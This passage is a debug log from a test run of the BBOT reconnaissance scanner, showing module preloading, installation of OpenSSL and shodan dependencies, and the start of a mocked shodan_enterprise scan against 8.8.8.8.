Preloading stdout from cache -2026-03-01 17:06:19,910 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 17:06:19,911 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 17:06:19,912 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 17:06:19,913 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 17:06:19,914 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 17:06:19,914 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 17:06:19,915 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 17:06:19,916 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 17:06:19,916 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 17:06:19,917 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 17:06:19,918 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 17:06:19,918 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 17:06:19,919 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 17:06:19,919 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 17:06:19,920 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 17:06:19,921 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 17:06:19,922 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 17:06:19,922 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 17:06:19,923 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 17:06:19,924 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 17:06:19,924 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 17:06:19,925 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 17:06:19,925 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 17:06:19,926 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 17:06:19,926 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 17:06:19,927 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 17:06:19,931 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 17:06:19,932 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 17:06:19,932 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 17:06:19,933 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 17:06:19,934 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 17:06:19,935 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 17:06:19,935 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 17:06:19,936 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 17:06:19,937 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 17:06:19,937 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 17:06:19,938 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 17:06:19,939 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 17:06:19,939 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 17:06:19,940 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 17:06:19,941 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 17:06:19,942 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 17:06:19,942 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 17:06:19,943 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 17:06:19,944 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 17:06:19,944 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 17:06:19,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 17:06:19,946 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 17:06:19,947 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 17:06:19,947 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 17:06:19,948 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 17:06:19,949 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 17:06:19,955 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 17:06:19,955 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 17:06:19,957 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 17:06:19,957 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 17:06:19,958 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 17:06:19,959 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 17:06:19,960 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 17:06:19,960 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 17:06:19,961 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 17:06:19,962 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 17:06:19,963 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 17:06:19,964 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 17:06:19,965 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 17:06:19,965 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 17:06:19,966 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 17:06:19,967 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 17:06:19,967 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 17:06:19,968 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 17:06:19,968 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 17:06:19,969 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 17:06:19,969 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 17:06:19,970 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 17:06:19,970 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 17:06:19,971 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 17:06:19,972 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 17:06:19,972 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 17:06:19,973 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 17:06:19,974 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 17:06:19,975 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 17:06:19,976 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 17:06:19,976 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 17:06:19,977 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 17:06:19,978 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 17:06:19,978 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 17:06:19,979 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 17:06:19,979 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 17:06:19,980 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 17:06:19,980 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 17:06:19,981 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 17:06:19,981 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 17:06:19,982 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 17:06:19,982 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 17:06:19,983 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 17:06:19,984 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 17:06:19,984 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 17:06:19,985 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 17:06:19,985 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 17:06:19,986 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 17:06:19,986 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 17:06:19,987 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 17:06:19,987 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 17:06:19,988 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 17:06:19,988 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 17:06:19,990 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 17:06:19,990 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 17:06:19,991 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 17:06:19,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 17:06:19,992 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 17:06:19,992 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 17:06:19,993 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 17:06:19,993 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 17:06:19,994 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 17:06:19,995 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 17:06:19,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 17:06:19,996 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 17:06:19,997 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 17:06:19,997 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 17:06:19,998 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 17:06:19,999 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 17:06:19,999 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 17:06:20,000 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 17:06:20,000 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 17:06:20,001 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 17:06:20,002 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 17:06:20,002 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 17:06:20,003 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 17:06:20,003 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 17:06:20,004 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 17:06:20,004 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 17:06:20,005 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 17:06:20,006 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 17:06:20,007 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 17:06:20,007 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 17:06:20,008 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 17:06:20,008 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 17:06:20,009 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 17:06:20,010 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 17:06:20,011 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 17:06:20,013 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 17:06:20,014 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 17:06:20,016 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 17:06:20,016 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 17:06:20,018 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 17:06:20,018 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 17:06:20,019 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 17:06:20,020 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 17:06:20,020 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 17:06:20,021 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 17:06:20,021 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 17:06:20,022 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 17:06:20,022 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 17:06:20,023 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 17:06:21,108 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:06:21,108 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:06:21,108 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 17:06:21,243 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 17:06:21,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 17:06:21,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 17:06:21,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 17:06:21,814 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 17:06:22,017 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 17:06:22,018 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 17:06:22,128 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 17:06:22,129 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 17:06:22,178 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 17:06:22,181 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 17:06:22,181 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 17:06:22,605 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 17:06:22,606 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 17:06:41,176 [WARNING] bbot.core.helpers.depsinstaller installer.py:443 Incorrect password -2026-03-01 17:06:44,426 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 17:06:44,427 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 17:06:44,427 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 17:06:46,196 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 17:06:46,197 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 17:06:46,202 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:06:46,203 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 17:06:46,203 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 17:06:46,203 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 17:06:46,207 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3cwihidvrwonnmwyqm3z -2026-03-01 17:06:46,982 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 17:06:46,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 17:06:46,983 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 17:06:46,984 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:06:46,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 17:06:46,985 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 17:06:47,106 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 17:06:47,107 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 17:06:47,107 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 17:06:47,108 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 17:06:47,109 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 17:06:47,109 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 17:06:47,109 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 17:06:47,110 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 17:06:47,110 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 17:06:47,111 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 17:06:47,111 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 17:06:47,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 17:06:47,112 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 17:06:47,113 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 17:06:47,113 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 17:06:47,114 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 17:06:47,114 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 17:06:47,115 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 17:06:47,116 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 17:06:47,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 17:06:47,117 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 17:06:47,118 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 17:06:47,118 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 17:06:47,118 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 17:06:47,119 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 17:06:47,258 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_346sj5aacs -2026-03-01 17:06:47,259 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 17:06:47,365 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 17:06:47,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 17:06:47,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 17:06:47,367 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 17:06:47,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 17:06:47,469 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 17:06:47,470 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 17:06:47,471 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:06:47,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:06:47,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", 